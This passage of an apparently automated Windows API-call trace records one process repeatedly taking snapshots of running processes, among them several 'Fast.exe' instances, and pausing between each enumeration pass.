lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.574] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.575] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.576] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0264.577] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.578] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.578] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0264.585] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.586] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0264.587] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.588] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0264.589] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0264.590] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0264.591] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0264.592] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0264.592] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0264.593] CloseHandle (hObject=0xe0) returned 1 [0264.593] Sleep (dwMilliseconds=0x1f4) [0265.196] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0265.200] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.201] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.202] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.203] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.204] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.205] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.206] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.206] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.207] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.208] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.210] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.211] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.212] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.213] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.213] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.214] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.216] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.217] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.217] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.218] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.219] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.220] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.220] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.221] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0265.222] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0265.223] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0265.224] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0265.225] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0265.226] CloseHandle (hObject=0xe0) returned 1 [0265.226] Sleep (dwMilliseconds=0x1f4) [0265.802] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0265.806] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.807] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0265.808] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0265.809] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.809] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0265.810] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0265.811] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0265.812] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.813] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.814] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.815] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.816] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.817] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.818] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.819] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.820] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.821] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.822] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.822] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.823] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.824] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.825] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.826] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.827] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0265.828] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0265.828] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0265.829] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0265.830] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0265.831] CloseHandle (hObject=0xe0) returned 1 [0265.831] Sleep (dwMilliseconds=0x1f4) [0268.047] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0268.061] Process32FirstW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.062] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.076] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.077] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.078] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.079] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.080] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.082] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.083] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.083] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0268.084] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, 